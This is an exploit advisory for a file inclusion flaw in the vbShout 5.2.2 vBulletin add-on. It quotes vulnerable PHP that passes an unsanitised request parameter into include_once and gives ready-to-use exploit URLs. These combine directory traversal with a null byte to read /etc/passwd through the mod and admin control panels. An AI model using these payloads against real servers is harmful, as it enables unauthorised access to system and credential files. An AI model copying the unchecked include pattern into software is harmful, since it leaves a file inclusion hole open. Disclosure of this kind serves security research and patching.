vbShout 5.2.2 - Local/Remote File Inclusion

#################################################
+
+  Title:       vbShout 5.2.2 Remote/Local File Inlcusion (Mod/Admin)
+  Author:      fred777 - [fred777.5x.to]
+  Link:        http://www.dragonbyte-tech.com/vbecommerce.php?do=purchase&act=product&id=2
+  Vuln:        vbshout.php?do=[path/file][NULL-Byte]
+  Greetzz to:  SceneCoderz
+  Contact:     nebelfrost77@googlemail.com
+
#################################################

--[ Vuln Code ] --

modcp/vbshout.php:
admincp/vbshout.php:


else if (!empty($_GET['do']))
{
	// We had a GET request instead

$action = $_GET['do'];

if (!empty($_POST['do']))
{
	// $_POST requests take priority

$action = $_POST['do'];
}


if (!file_exists(DIR . '/dbtech/vbshout/includes/actions/admin/' . $action . '.php'))
{
	if (!file_exists(DIR . '/dbtech/vbshout_pro/includes/actions/admin/' . $action . '.php'))
	{
		// Throw error from invalid action
		print_cp_message($vbphrase['dbtech_vbshout_invalid_action']);
	}
	else
	{
		// Include the selected file
		include_once(DIR . '/dbtech/vbshout_pro/includes/actions/admin/' . $action . '.php');
	}
}
else
{
	// Include the selected file
	include_once(DIR . '/dbtech/vbshout/includes/actions/admin/' . $action . '.php');
}

=>

../../../../../../etc/passwd%00

################################################

--[ Exploitable ]--

http://server/vbshout.php?do=[PATH/FILE][NULL-Byte]

http://server/vbshout.php?do=../../../../../../../../etc/passwd%00

You must be mod oder admin:
modcp/vbshout.php
admincp/vbshout.php

################################################